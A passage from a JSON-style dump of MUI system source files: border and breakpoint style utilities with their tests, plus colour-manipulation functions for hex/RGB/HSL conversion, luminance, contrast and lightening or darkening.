    "content": "import { expect } from 'chai';\nimport borders from './borders';\n\ndescribe('borders', () => {\n  it('should work', () => {\n    const output = borders({\n      border: 1,\n      borderRadius: 1,\n      outline: 1,\n    });\n    expect(output).to.deep.equal({\n      border: '1px solid',\n      borderRadius: 4,\n      outline: '1px solid',\n    });\n  });\n\n  it('should work with 0', () => {\n    const output = borders({\n      borderRadius: 0,\n    });\n    expect(output).to.deep.equal({\n      borderRadius: 0,\n    });\n  });\n\n  describe('theme shape as string', () => {\n    it('should work', () => {\n      const output = borders({\n        borderRadius: 2,\n        theme: {\n          shape: {\n            borderRadius: '4px',\n          },\n        },\n      });\n      expect(output).to.deep.equal({\n        borderRadius: 'calc(2 * 4px)',\n      });\n    });\n\n    it('should work with 0', () => {\n      const output = borders({\n        borderRadius: 0,\n        theme: {\n          shape: {\n            borderRadius: '4px',\n          },\n        },\n      });\n      expect(output).to.deep.equal({\n        borderRadius: 'calc(0 * 4px)',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/borders/index.ts",
    "content": "export { default } from './borders';\nexport * from './borders';\n"
  },
  {
    "path": "packages/mui-system/src/breakpoints/breakpoints.d.ts",
    "content": "import { CSSObject } from '@mui/styled-engine';\nimport { Breakpoints } from '../createBreakpoints/createBreakpoints';\nimport type { Breakpoint, Theme } from '../createTheme';\nimport { ResponsiveStyleValue } from '../styleFunctionSx';\nimport { StyleFunction } from '../style';\n\nexport const DEFAULT_BREAKPOINTS: Breakpoints;\n\nexport interface ResolveBreakpointValuesOptions<T> {\n  values: ResponsiveStyleValue<T>;\n  breakpoints?: Breakpoints['values'] | undefined;\n  base?: Record<string, boolean> | undefined;\n}\nexport function resolveBreakpointValues<T>(\n  options: ResolveBreakpointValuesOptions<T>,\n): Record<string, T>;\n\nexport function mergeBreakpointsInOrder(breakpoints: Breakpoints, styles: CSSObject[]): CSSObject;\n\nexport function iterateBreakpoints(\n  target: any,\n  theme: Theme,\n  propValue: any,\n  callback: (mediaKey: string | undefined, value: any, initialKey?: string) => any,\n): any;\n\nexport function handleBreakpoints<Props>(\n  props: Props,\n  propValue: any,\n  styleFromPropValue: (value: any, breakpoint?: Breakpoint) => any,\n): any;\n\nexport function hasBreakpoint(breakpoints: Breakpoints, value: any): boolean;\n\ntype DefaultBreakPoints = 'xs' | 'sm' | 'md' | 'lg' | 'xl';\n\n/**\n * @returns An enhanced stylefunction that considers breakpoints\n */\nexport default function breakpoints<Props, Breakpoints extends string = DefaultBreakPoints>(\n  styleFunction: StyleFunction<Props>,\n): StyleFunction<Partial<Record<Breakpoints, Props>> & Props>;\n"
  },
  {
    "path": "packages/mui-system/src/breakpoints/breakpoints.js",
    "content": "import PropTypes from 'prop-types';\nimport isObjectEmpty from '@mui/utils/isObjectEmpty';\nimport fastDeepAssign from '@mui/utils/fastDeepAssign';\nimport deepmerge from '@mui/utils/deepmerge';\nimport merge from '../merge';\nimport { isCqShorthand, getContainerQuery } from '../cssContainerQueries';\nimport createBreakpoints from '../createBreakpoints/createBreakpoints';\n\nconst EMPTY_THEME = {};\n\n// The breakpoint **start** at this value.\n// For instance with the first breakpoint xs: [xs, sm[.\nexport const values = {\n  xs: 0, // phone\n  sm: 600, // tablet\n  md: 900, // small laptop\n  lg: 1200, // desktop\n  xl: 1536, // large screen\n};\n\nexport const DEFAULT_BREAKPOINTS = createBreakpoints({ values });\n\nconst defaultContainerQueries = {\n  containerQueries: (containerName) => ({\n    up: (key) => {\n      let result = typeof key === 'number' ? key : values[key] || key;\n      if (typeof result === 'number') {\n        result = `${result}px`;\n      }\n      return containerName\n        ? `@container ${containerName} (min-width:${result})`\n        : `@container (min-width:${result})`;\n    },\n  }),\n};\n\nexport function handleBreakpoints(props, propValue, styleFromPropValue) {\n  const result = {};\n  return iterateBreakpoints(result, props.theme, propValue, (mediaKey, value, initialKey) => {\n    const finalValue = styleFromPropValue(value, initialKey);\n    if (mediaKey) {\n      result[mediaKey] = finalValue;\n    } else {\n      fastDeepAssign(result, finalValue);\n    }\n  });\n}\n\nexport function iterateBreakpoints(target, theme, propValue, callback) {\n  theme ??= EMPTY_THEME;\n\n  if (Array.isArray(propValue)) {\n    const breakpoints = theme.breakpoints ?? DEFAULT_BREAKPOINTS;\n    for (let i = 0; i < propValue.length; i += 1) {\n      buildBreakpoint(\n        target,\n        breakpoints.up(breakpoints.keys[i]),\n        propValue[i],\n        undefined,\n        callback,\n      );\n    }\n    return target;\n  }\n\n  if (typeof propValue === 'object') {\n    const breakpoints = theme.breakpoints ?? DEFAULT_BREAKPOINTS;\n    const breakpointValues = breakpoints.values ?? values;\n\n    for (const key in propValue) {\n      if (isCqShorthand(breakpoints.keys, key)) {\n        const containerKey = getContainerQuery(\n          theme.containerQueries ? theme : defaultContainerQueries,\n          key,\n        );\n        if (containerKey) {\n          buildBreakpoint(target, containerKey, propValue[key], key, callback);\n        }\n      }\n      // key is key\n      else if (key in breakpointValues) {\n        const mediaKey = breakpoints.up(key);\n        buildBreakpoint(target, mediaKey, propValue[key], key, callback);\n      } else {\n        const cssKey = key;\n        target[cssKey] = propValue[cssKey];\n      }\n    }\n\n    return target;\n  }\n\n  callback(undefined, propValue);\n\n  return target;\n}\n\nfunction buildBreakpoint(target, mediaKey, value, initialKey, callback) {\n  target[mediaKey] ??= {};\n  callback(mediaKey, value, initialKey);\n}\n\nfunction setupBreakpoints(styleFunction) {\n  // eslint-disable-next-line react/function-component-definition\n  const newStyleFunction = (props) => {\n    const theme = props.theme || {};\n    const base = styleFunction(props);\n    const themeBreakpoints = theme.breakpoints || DEFAULT_BREAKPOINTS;\n\n    const extended = themeBreakpoints.keys.reduce((acc, key) => {\n      if (props[key]) {\n        acc = acc || {};\n        acc[themeBreakpoints.up(key)] = styleFunction({ theme, ...props[key] });\n      }\n      return acc;\n    }, null);\n\n    return merge(base, extended);\n  };\n\n  newStyleFunction.propTypes =\n    process.env.NODE_ENV !== 'production'\n      ? {\n          ...styleFunction.propTypes,\n          xs: PropTypes.object,\n          sm: PropTypes.object,\n          md: PropTypes.object,\n          lg: PropTypes.object,\n          xl: PropTypes.object,\n        }\n      : {};\n\n  newStyleFunction.filterProps = ['xs', 'sm', 'md', 'lg', 'xl', ...styleFunction.filterProps];\n\n  return newStyleFunction;\n}\n\nexport function createEmptyBreakpointObject(breakpoints = DEFAULT_BREAKPOINTS) {\n  const { internal_mediaKeys: mediaKeys } = breakpoints;\n  const result = {};\n  for (let i = 0; i < mediaKeys.length; i += 1) {\n    result[mediaKeys[i]] = {};\n  }\n  return result;\n}\n\nexport function removeUnusedBreakpoints(breakpoints, style) {\n  const breakpointKeys = breakpoints.internal_mediaKeys;\n\n  for (let i = 0; i < breakpointKeys.length; i += 1) {\n    const key = breakpointKeys[i];\n\n    if (isObjectEmpty(style[key])) {\n      delete style[key];\n    }\n  }\n\n  return style;\n}\n\nexport function mergeBreakpointsInOrder(breakpoints, ...styles) {\n  const emptyBreakpoints = createEmptyBreakpointObject(breakpoints);\n  const mergedOutput = [emptyBreakpoints, ...styles].reduce(\n    (prev, next) => deepmerge(prev, next),\n    {},\n  );\n  return removeUnusedBreakpoints(breakpoints, mergedOutput);\n}\n\n// compute base for responsive values; e.g.,\n// [1,2,3] => {xs: true, sm: true, md: true}\n// {xs: 1, sm: 2, md: 3} => {xs: true, sm: true, md: true}\nexport function computeBreakpointsBase(breakpointValues, themeBreakpoints) {\n  // fixed value\n  if (typeof breakpointValues !== 'object') {\n    return {};\n  }\n  const base = {};\n  const breakpointsKeys = Object.keys(themeBreakpoints);\n  if (Array.isArray(breakpointValues)) {\n    breakpointsKeys.forEach((breakpoint, i) => {\n      if (i < breakpointValues.length) {\n        base[breakpoint] = true;\n      }\n    });\n  } else {\n    breakpointsKeys.forEach((breakpoint) => {\n      if (breakpointValues[breakpoint] != null) {\n        base[breakpoint] = true;\n      }\n    });\n  }\n  return base;\n}\n\nexport function resolveBreakpointValues({\n  values: breakpointValues,\n  breakpoints: themeBreakpoints,\n  base: customBase,\n}) {\n  const base = customBase || computeBreakpointsBase(breakpointValues, themeBreakpoints);\n  const keys = Object.keys(base);\n\n  if (keys.length === 0) {\n    return breakpointValues;\n  }\n\n  let previous;\n\n  return keys.reduce((acc, breakpoint, i) => {\n    if (Array.isArray(breakpointValues)) {\n      acc[breakpoint] =\n        breakpointValues[i] != null ? breakpointValues[i] : breakpointValues[previous];\n      previous = i;\n    } else if (typeof breakpointValues === 'object') {\n      acc[breakpoint] =\n        breakpointValues[breakpoint] != null\n          ? breakpointValues[breakpoint]\n          : breakpointValues[previous];\n      previous = breakpoint;\n    } else {\n      acc[breakpoint] = breakpointValues;\n    }\n    return acc;\n  }, {});\n}\n\nexport function hasBreakpoint(breakpoints, value) {\n  if (Array.isArray(value)) {\n    return true;\n  }\n  if (typeof value === 'object' && value !== null) {\n    for (let i = 0; i < breakpoints.keys.length; i += 1) {\n      if (breakpoints.keys[i] in value) {\n        return true;\n      }\n    }\n    const valueKeys = Object.keys(value);\n    for (let i = 0; i < valueKeys.length; i += 1) {\n      if (isCqShorthand(breakpoints.keys, valueKeys[i])) {\n        return true;\n      }\n    }\n  }\n  return false;\n}\n\nexport default setupBreakpoints;\n"
  },
  {
    "path": "packages/mui-system/src/breakpoints/breakpoints.test.js",
    "content": "import { expect } from 'chai';\nimport breakpoints, {\n  computeBreakpointsBase,\n  resolveBreakpointValues,\n  removeUnusedBreakpoints,\n} from './breakpoints';\nimport style from '../style';\n\nconst textColor = style({\n  prop: 'color',\n  themeKey: 'palette',\n});\n\ndescribe('breakpoints', () => {\n  const muiThemeBreakpoints = { xs: 0, sm: 600, md: 900, lg: 1200, xl: 1536 };\n  const customThemeBreakpoints = {\n    extraSmall: 0,\n    small: 300,\n    medium: 600,\n    large: 900,\n    extraLarge: 1200,\n  };\n\n  it('should work', () => {\n    const palette = breakpoints(textColor);\n\n    expect(palette.filterProps.length).to.equal(6);\n    expect(\n      palette({\n        color: 'red',\n        sm: {\n          color: 'blue',\n        },\n      }),\n    ).to.deep.equal({\n      color: 'red',\n      '@media (min-width:600px)': {\n        color: 'blue',\n      },\n    });\n  });\n\n  describe('function: computeBreakpointsBase', () => {\n    describe('mui default breakpoints', () => {\n      it('compute base for breakpoint values of array type', () => {\n        const columns = [1, 2, 3];\n        const base = computeBreakpointsBase(columns, muiThemeBreakpoints);\n        expect(base).to.deep.equal({ xs: true, sm: true, md: true });\n      });\n\n      it('compute base for breakpoint values of object type', () => {\n        const columns = { xs: 1, sm: 2, md: 3 };\n        const base = computeBreakpointsBase(columns, muiThemeBreakpoints);\n        expect(base).to.deep.equal({ xs: true, sm: true, md: true });\n      });\n\n      it('return empty object for fixed value', () => {\n        const columns = 3;\n        const base = computeBreakpointsBase(columns, muiThemeBreakpoints);\n        expect(base).to.deep.equal({});\n      });\n    });\n\n    describe('custom breakpoints', () => {\n      it('compute base for breakpoint values of array type', () => {\n        const columns = [1, 2, 3];\n        const base = computeBreakpointsBase(columns, customThemeBreakpoints);\n        expect(base).to.deep.equal({ extraSmall: true, small: true, medium: true });\n      });\n\n      it('compute base for breakpoint values of object type', () => {\n        const columns = { extraSmall: 1, small: 2, medium: 3 };\n        const base = computeBreakpointsBase(columns, customThemeBreakpoints);\n        expect(base).to.deep.equal({ extraSmall: true, small: true, medium: true });\n      });\n\n      it('return empty object for fixed value', () => {\n        const columns = 3;\n        const base = computeBreakpointsBase(columns, customThemeBreakpoints);\n        expect(base).to.deep.equal({});\n      });\n    });\n  });\n\n  describe('function: resolveBreakpointValues', () => {\n    describe('mui default breakpoints', () => {\n      it('resolve breakpoint values for prop of array type', () => {\n        const columns = [1, 2, 3];\n        const values = resolveBreakpointValues({\n          values: columns,\n          breakpoints: muiThemeBreakpoints,\n        });\n        expect(values).to.deep.equal({ xs: 1, sm: 2, md: 3 });\n      });\n\n      it('resolve breakpoint values for prop of object type', () => {\n        const columns = { xs: 1, sm: 2, md: 3 };\n        const values = resolveBreakpointValues({\n          values: columns,\n          breakpoints: muiThemeBreakpoints,\n        });\n        expect(values).to.deep.equal({ xs: 1, sm: 2, md: 3 });\n      });\n\n      it('resolve breakpoint values for unordered prop of object type', () => {\n        const columns = { sm: 2, md: 3, xs: 1 };\n        const values = resolveBreakpointValues({\n          values: columns,\n          breakpoints: muiThemeBreakpoints,\n        });\n        expect(values).to.deep.equal({ xs: 1, sm: 2, md: 3 });\n      });\n\n      it('return prop as it is for prop of fixed value', () => {\n        const columns = 3;\n        const values = resolveBreakpointValues({\n          values: columns,\n          breakpoints: muiThemeBreakpoints,\n        });\n        expect(values).to.equal(3);\n      });\n\n      it('given custom base, resolve breakpoint values for prop of array type', () => {\n        const columns = [1, 2, 3];\n        const customBase = { xs: true, sm: true, md: true, lg: true };\n        const values = resolveBreakpointValues({ values: columns, base: customBase });\n        expect(values).to.deep.equal({ xs: 1, sm: 2, md: 3, lg: 3 });\n      });\n\n      it('given custom base, resolve breakpoint values for prop of object type', () => {\n        const columns = { xs: 1, sm: 2, md: 3 };\n        const customBase = { xs: true, sm: true, md: true, lg: true };\n        const values = resolveBreakpointValues({ values: columns, base: customBase });\n        expect(values).to.deep.equal({ xs: 1, sm: 2, md: 3, lg: 3 });\n      });\n\n      it('given custom base, resolve breakpoint values for unordered prop of object type', () => {\n        const columns = { sm: 2, md: 3, xs: 1 };\n        const customBase = { xs: true, sm: true, md: true, lg: true };\n        const values = resolveBreakpointValues({ values: columns, base: customBase });\n        expect(values).to.deep.equal({ xs: 1, sm: 2, md: 3, lg: 3 });\n      });\n\n      it('given custom base, resolve breakpoint values for prop of object type with missing breakpoints', () => {\n        const columns = { xs: 1, md: 2 };\n        const customBase = { xs: true, sm: true, md: true, lg: true };\n        const values = resolveBreakpointValues({ values: columns, base: customBase });\n        expect(values).to.deep.equal({ xs: 1, sm: 1, md: 2, lg: 2 });\n      });\n\n      it('given custom base, resolve breakpoint values for unordered prop of object type with missing breakpoints', () => {\n        const columns = { md: 2, xs: 1 };\n        const customBase = { xs: true, sm: true, md: true, lg: true };\n        const values = resolveBreakpointValues({ values: columns, base: customBase });\n        expect(values).to.deep.equal({ xs: 1, sm: 1, md: 2, lg: 2 });\n      });\n    });\n\n    describe('custom breakpoints', () => {\n      it('resolve breakpoint values for prop of array type', () => {\n        const columns = [1, 2, 3];\n        const values = resolveBreakpointValues({\n          values: columns,\n          breakpoints: customThemeBreakpoints,\n        });\n        expect(values).to.deep.equal({ extraSmall: 1, small: 2, medium: 3 });\n      });\n\n      it('resolve breakpoint values for prop of object type', () => {\n        const columns = { extraSmall: 1, small: 2, medium: 3 };\n        const values = resolveBreakpointValues({\n          values: columns,\n          breakpoints: customThemeBreakpoints,\n        });\n        expect(values).to.deep.equal({ extraSmall: 1, small: 2, medium: 3 });\n      });\n\n      it('resolve breakpoint values for unordered prop of object type', () => {\n        const columns = { small: 2, medium: 3, extraSmall: 1 };\n        const values = resolveBreakpointValues({\n          values: columns,\n          breakpoints: customThemeBreakpoints,\n        });\n        expect(values).to.deep.equal({ extraSmall: 1, small: 2, medium: 3 });\n      });\n\n      it('return prop as it is for prop of fixed value', () => {\n        const columns = 3;\n        const values = resolveBreakpointValues({\n          values: columns,\n          breakpoints: customThemeBreakpoints,\n        });\n        expect(values).to.equal(3);\n      });\n\n      it('return prop as it is for prop of fixed string value', () => {\n        const directionValue = 'columns';\n        const values = resolveBreakpointValues({\n          values: directionValue,\n        });\n        expect(values).to.equal('columns');\n      });\n\n      it('given custom base, resolve breakpoint values for prop of string type', () => {\n        const directionValue = 'columns';\n        const values = resolveBreakpointValues({\n          values: directionValue,\n          base: { small: true },\n        });\n        expect(values).to.deep.equal({ small: directionValue });\n      });\n\n      it('given custom base, resolve breakpoint values for prop of number type', () => {\n        const spacingValue = 3;\n        const values = resolveBreakpointValues({\n          values: spacingValue,\n          base: { small: true },\n        });\n        expect(values).to.deep.equal({ small: spacingValue });\n      });\n\n      it('given custom base, resolve breakpoint values for prop of array type', () => {\n        const columns = [1, 2, 3];\n        const customBase = { extraSmall: true, small: true, medium: true, large: true };\n        const values = resolveBreakpointValues({ values: columns, base: customBase });\n        expect(values).to.deep.equal({ extraSmall: 1, small: 2, medium: 3, large: 3 });\n      });\n\n      it('given custom base, resolve breakpoint values for prop of object type', () => {\n        const columns = { extraSmall: 1, small: 2, medium: 3 };\n        const customBase = { extraSmall: true, small: true, medium: true, large: true };\n        const values = resolveBreakpointValues({ values: columns, base: customBase });\n        expect(values).to.deep.equal({ extraSmall: 1, small: 2, medium: 3, large: 3 });\n      });\n\n      it('given custom base, resolve breakpoint values for unordered prop of object type', () => {\n        const columns = { small: 2, medium: 3, extraSmall: 1 };\n        const customBase = { extraSmall: true, small: true, medium: true, large: true };\n        const values = resolveBreakpointValues({ values: columns, base: customBase });\n        expect(values).to.deep.equal({ extraSmall: 1, small: 2, medium: 3, large: 3 });\n      });\n    });\n  });\n\n  describe('function: removeUnusedBreakpoints', () => {\n    it('allow value to be null', () => {\n      const result = removeUnusedBreakpoints(\n        {\n          internal_mediaKeys: [\n            '@media (min-width:0px)',\n            '@media (min-width:600px)',\n            '@media (min-width:960px)',\n          ],\n        },\n        {\n          '@media (min-width:0px)': {\n            fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n            fontSize: '0.875rem',\n            letterSpacing: '0.01071em',\n            fontWeight: 400,\n            lineHeight: 1.43,\n          },\n          '@media (min-width:600px)': null,\n          '@media (min-width:960px)': {},\n        },\n      );\n      expect(result).to.deep.equal({\n        '@media (min-width:0px)': {\n          fontFamily: '\"Roboto\", \"Helvetica\", \"Arial\", sans-serif',\n          fontSize: '0.875rem',\n          letterSpacing: '0.01071em',\n          fontWeight: 400,\n          lineHeight: 1.43,\n        },\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/breakpoints/index.ts",
    "content": "export { default } from './breakpoints';\nexport * from './breakpoints';\n"
  },
  {
    "path": "packages/mui-system/src/colorManipulator/colorManipulator.d.ts",
    "content": "/* eslint-disable @typescript-eslint/naming-convention */\nexport type ColorFormat = 'rgb' | 'rgba' | 'hsl' | 'hsla' | 'color';\nexport interface ColorObject {\n  type: ColorFormat;\n  values: [number, number, number] | [number, number, number, number];\n  colorSpace?: 'srgb' | 'display-p3' | 'a98-rgb' | 'prophoto-rgb' | 'rec-2020' | undefined;\n}\n\nexport function hexToRgb(hex: string): string;\nexport function rgbToHex(color: string): string;\nexport function hslToRgb(color: string): string;\nexport function decomposeColor(color: string): ColorObject;\nexport function colorChannel(color: string): string;\nexport function private_safeColorChannel(color: string, warning?: string): string;\nexport function recomposeColor(color: ColorObject): string;\nexport function getContrastRatio(foreground: string, background: string): number;\nexport function getLuminance(color: string): number;\nexport function emphasize(color: string, coefficient?: number): string;\nexport function private_safeEmphasize(\n  color: string,\n  coefficient?: number,\n  warning?: string,\n): string;\nexport function alpha(color: string, value: number): string;\nexport function private_safeAlpha(color: string, value: number, warning?: string): string;\nexport function darken(color: string, coefficient: number): string;\nexport function private_safeDarken(color: string, coefficient: number, warning?: string): string;\nexport function lighten(color: string, coefficient: number): string;\nexport function private_safeLighten(color: string, coefficient: number, warning?: string): string;\nexport function blend(background: string, overlay: string, opacity: number, gamma?: number): string;\n"
  },
  {
    "path": "packages/mui-system/src/colorManipulator/colorManipulator.js",
    "content": "/* eslint-disable @typescript-eslint/naming-convention */\nimport clamp from '@mui/utils/clamp';\n\n/**\n * Returns a number whose value is limited to the given range.\n * @param {number} value The value to be clamped\n * @param {number} min The lower boundary of the output range\n * @param {number} max The upper boundary of the output range\n * @returns {number} A number in the range [min, max]\n */\nfunction clampWrapper(value, min = 0, max = 1) {\n  if (process.env.NODE_ENV !== 'production') {\n    if (value < min || value > max) {\n      console.error(`MUI: The value provided ${value} is out of range [${min}, ${max}].`);\n    }\n  }\n\n  return clamp(value, min, max);\n}\n\n/**\n * Converts a color from CSS hex format to CSS rgb format.\n * @param {string} color - Hex color, i.e. #nnn or #nnnnnn\n * @returns {string} A CSS rgb color string\n */\nexport function hexToRgb(color) {\n  color = color.slice(1);\n\n  const re = new RegExp(`.{1,${color.length >= 6 ? 2 : 1}}`, 'g');\n  let colors = color.match(re);\n\n  if (colors && colors[0].length === 1) {\n    colors = colors.map((n) => n + n);\n  }\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (color.length !== color.trim().length) {\n      console.error(\n        `MUI: The color: \"${color}\" is invalid. Make sure the color input doesn't contain leading/trailing space.`,\n      );\n    }\n  }\n\n  return colors\n    ? `rgb${colors.length === 4 ? 'a' : ''}(${colors\n        .map((n, index) => {\n          return index < 3 ? parseInt(n, 16) : Math.round((parseInt(n, 16) / 255) * 1000) / 1000;\n        })\n        .join(', ')})`\n    : '';\n}\n\nfunction intToHex(int) {\n  const hex = int.toString(16);\n  return hex.length === 1 ? `0${hex}` : hex;\n}\n\n/**\n * Returns an object with the type and values of a color.\n *\n * Note: Does not support rgb % values.\n * @param {string} color - CSS color, i.e. one of: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color()\n * @returns {object} - A MUI color object: {type: string, values: number[]}\n */\nexport function decomposeColor(color) {\n  // Idempotent\n  if (color.type) {\n    return color;\n  }\n\n  if (color.charAt(0) === '#') {\n    return decomposeColor(hexToRgb(color));\n  }\n\n  const marker = color.indexOf('(');\n  const type = color.substring(0, marker);\n\n  if (!['rgb', 'rgba', 'hsl', 'hsla', 'color'].includes(type)) {\n    throw /* minify-error */ new Error(\n      `MUI: Unsupported \\`${color}\\` color.\\n` +\n        'The following formats are supported: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color().',\n    );\n  }\n\n  let values = color.substring(marker + 1, color.length - 1);\n  let colorSpace;\n\n  if (type === 'color') {\n    values = values.split(' ');\n    colorSpace = values.shift();\n    if (values.length === 4 && values[3].charAt(0) === '/') {\n      values[3] = values[3].slice(1);\n    }\n    if (!['srgb', 'display-p3', 'a98-rgb', 'prophoto-rgb', 'rec-2020'].includes(colorSpace)) {\n      throw /* minify-error */ new Error(\n        `MUI: unsupported \\`${colorSpace}\\` color space.\\n` +\n          'The following color spaces are supported: srgb, display-p3, a98-rgb, prophoto-rgb, rec-2020.',\n      );\n    }\n  } else {\n    values = values.split(',');\n  }\n  values = values.map((value) => parseFloat(value));\n\n  return { type, values, colorSpace };\n}\n\n/**\n * Returns a channel created from the input color.\n *\n * @param {string} color - CSS color, i.e. one of: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color()\n * @returns {string} - The channel for the color, that can be used in rgba or hsla colors\n */\nexport const colorChannel = (color) => {\n  const decomposedColor = decomposeColor(color);\n  return decomposedColor.values\n    .slice(0, 3)\n    .map((val, idx) => (decomposedColor.type.includes('hsl') && idx !== 0 ? `${val}%` : val))\n    .join(' ');\n};\nexport const private_safeColorChannel = (color, warning) => {\n  try {\n    return colorChannel(color);\n  } catch (error) {\n    if (warning && process.env.NODE_ENV !== 'production') {\n      console.warn(warning);\n    }\n    return color;\n  }\n};\n\n/**\n * Converts a color object with type and values to a string.\n * @param {object} color - Decomposed color\n * @param {string} color.type - One of: 'rgb', 'rgba', 'hsl', 'hsla', 'color'\n * @param {array} color.values - [n,n,n] or [n,n,n,n]\n * @returns {string} A CSS color string\n */\nexport function recomposeColor(color) {\n  const { type, colorSpace } = color;\n  let { values } = color;\n\n  if (type.includes('rgb')) {\n    // Only convert the first 3 values to int (i.e. not alpha)\n    values = values.map((n, i) => (i < 3 ? parseInt(n, 10) : n));\n  } else if (type.includes('hsl')) {\n    values[1] = `${values[1]}%`;\n    values[2] = `${values[2]}%`;\n  }\n  if (type.includes('color')) {\n    values = `${colorSpace} ${values.join(' ')}`;\n  } else {\n    values = `${values.join(', ')}`;\n  }\n\n  return `${type}(${values})`;\n}\n\n/**\n * Converts a color from CSS rgb format to CSS hex format.\n * @param {string} color - RGB color, i.e. rgb(n, n, n)\n * @returns {string} A CSS rgb color string, i.e. #nnnnnn\n */\nexport function rgbToHex(color) {\n  // Idempotent\n  if (color.startsWith('#')) {\n    return color;\n  }\n\n  const { values } = decomposeColor(color);\n  return `#${values.map((n, i) => intToHex(i === 3 ? Math.round(255 * n) : n)).join('')}`;\n}\n\n/**\n * Converts a color from hsl format to rgb format.\n * @param {string} color - HSL color values\n * @returns {string} rgb color values\n */\nexport function hslToRgb(color) {\n  color = decomposeColor(color);\n  const { values } = color;\n  const h = values[0];\n  const s = values[1] / 100;\n  const l = values[2] / 100;\n  const a = s * Math.min(l, 1 - l);\n  const f = (n, k = (n + h / 30) % 12) => l - a * Math.max(Math.min(k - 3, 9 - k, 1), -1);\n\n  let type = 'rgb';\n  const rgb = [Math.round(f(0) * 255), Math.round(f(8) * 255), Math.round(f(4) * 255)];\n\n  if (color.type === 'hsla') {\n    type += 'a';\n    rgb.push(values[3]);\n  }\n\n  return recomposeColor({ type, values: rgb });\n}\n/**\n * The relative brightness of any point in a color space,\n * normalized to 0 for darkest black and 1 for lightest white.\n *\n * Formula: https://www.w3.org/TR/WCAG20-TECHS/G17.html#G17-tests\n * @param {string} color - CSS color, i.e. one of: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color()\n * @returns {number} The relative brightness of the color in the range 0 - 1\n */\nexport function getLuminance(color) {\n  color = decomposeColor(color);\n\n  let rgb =\n    color.type === 'hsl' || color.type === 'hsla'\n      ? decomposeColor(hslToRgb(color)).values\n      : color.values;\n  rgb = rgb.map((val) => {\n    if (color.type !== 'color') {\n      val /= 255; // normalized\n    }\n    return val <= 0.03928 ? val / 12.92 : ((val + 0.055) / 1.055) ** 2.4;\n  });\n\n  // Truncate at 3 digits\n  return Number((0.2126 * rgb[0] + 0.7152 * rgb[1] + 0.0722 * rgb[2]).toFixed(3));\n}\n\n/**\n * Calculates the contrast ratio between two colors.\n *\n * Formula: https://www.w3.org/TR/WCAG20-TECHS/G17.html#G17-tests\n * @param {string} foreground - CSS color, i.e. one of: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla()\n * @param {string} background - CSS color, i.e. one of: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla()\n * @returns {number} A contrast ratio value in the range 0 - 21.\n */\nexport function getContrastRatio(foreground, background) {\n  const lumA = getLuminance(foreground);\n  const lumB = getLuminance(background);\n  return (Math.max(lumA, lumB) + 0.05) / (Math.min(lumA, lumB) + 0.05);\n}\n\n/**\n * Sets the absolute transparency of a color.\n * Any existing alpha values are overwritten.\n * @param {string} color - CSS color, i.e. one of: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color()\n * @param {number} value - value to set the alpha channel to in the range 0 - 1\n * @returns {string} A CSS color string. Hex input values are returned as rgb\n */\nexport function alpha(color, value) {\n  color = decomposeColor(color);\n  value = clampWrapper(value);\n\n  if (color.type === 'rgb' || color.type === 'hsl') {\n    color.type += 'a';\n  }\n  if (color.type === 'color') {\n    color.values[3] = `/${value}`;\n  } else {\n    color.values[3] = value;\n  }\n\n  return recomposeColor(color);\n}\nexport function private_safeAlpha(color, value, warning) {\n  try {\n    return alpha(color, value);\n  } catch (error) {\n    if (warning && process.env.NODE_ENV !== 'production') {\n      console.warn(warning);\n    }\n    return color;\n  }\n}\n\n/**\n * Darkens a color.\n * @param {string} color - CSS color, i.e. one of: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color()\n * @param {number} coefficient - multiplier in the range 0 - 1\n * @returns {string} A CSS color string. Hex input values are returned as rgb\n */\nexport function darken(color, coefficient) {\n  color = decomposeColor(color);\n  coefficient = clampWrapper(coefficient);\n\n  if (color.type.includes('hsl')) {\n    color.values[2] *= 1 - coefficient;\n  } else if (color.type.includes('rgb') || color.type.includes('color')) {\n    for (let i = 0; i < 3; i += 1) {\n      color.values[i] *= 1 - coefficient;\n    }\n  }\n  return recomposeColor(color);\n}\nexport function private_safeDarken(color, coefficient, warning) {\n  try {\n    return darken(color, coefficient);\n  } catch (error) {\n    if (warning && process.env.NODE_ENV !== 'production') {\n      console.warn(warning);\n    }\n    return color;\n  }\n}\n\n/**\n * Lightens a color.\n * @param {string} color - CSS color, i.e. one of: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color()\n * @param {number} coefficient - multiplier in the range 0 - 1\n * @returns {string} A CSS color string. Hex input values are returned as rgb\n */\nexport function lighten(color, coefficient) {\n  color = decomposeColor(color);\n  coefficient = clampWrapper(coefficient);\n\n  if (color.type.includes('hsl')) {\n    color.values[2] += (100 - color.values[2]) * coefficient;\n  } else if (color.type.includes('rgb')) {\n    for (let i = 0; i < 3; i += 1) {\n      color.values[i] += (255 - color.values[i]) * coefficient;\n    }\n  } else if (color.type.includes('color')) {\n    for (let i = 0; i < 3; i += 1) {\n      color.values[i] += (1 - color.values[i]) * coefficient;\n    }\n  }\n\n  return recomposeColor(color);\n}\nexport function private_safeLighten(color, coefficient, warning) {\n  try {\n    return lighten(color, coefficient);\n  } catch (error) {\n    if (warning && process.env.NODE_ENV !== 'production') {\n      console.warn(warning);\n    }\n    return color;\n  }\n}\n\n/**\n * Darken or lighten a color, depending on its luminance.\n * Light colors are darkened, dark colors are lightened.\n * @param {string} color - CSS color, i.e. one of: #nnn, #nnnnnn, rgb(), rgba(), hsl(), hsla(), color()\n * @param {number} coefficient=0.15 - multiplier in the range 0 - 1\n * @returns {string} A CSS color string. Hex input values are returned as rgb\n */\nexport function emphasize(color, coefficient = 0.15) {\n  return getLuminance(color) > 0.5 ? darken(color, coefficient) : lighten(color, coefficient);\n}\nexport function private_safeEmphasize(color, coefficient, warning) {\n  try {\n    return emphasize(color, coefficient);\n  } catch (error) {\n    if (warning && process.env.NODE_ENV !== 'production') {\n      console.warn(warning);\n    }\n    return color;\n  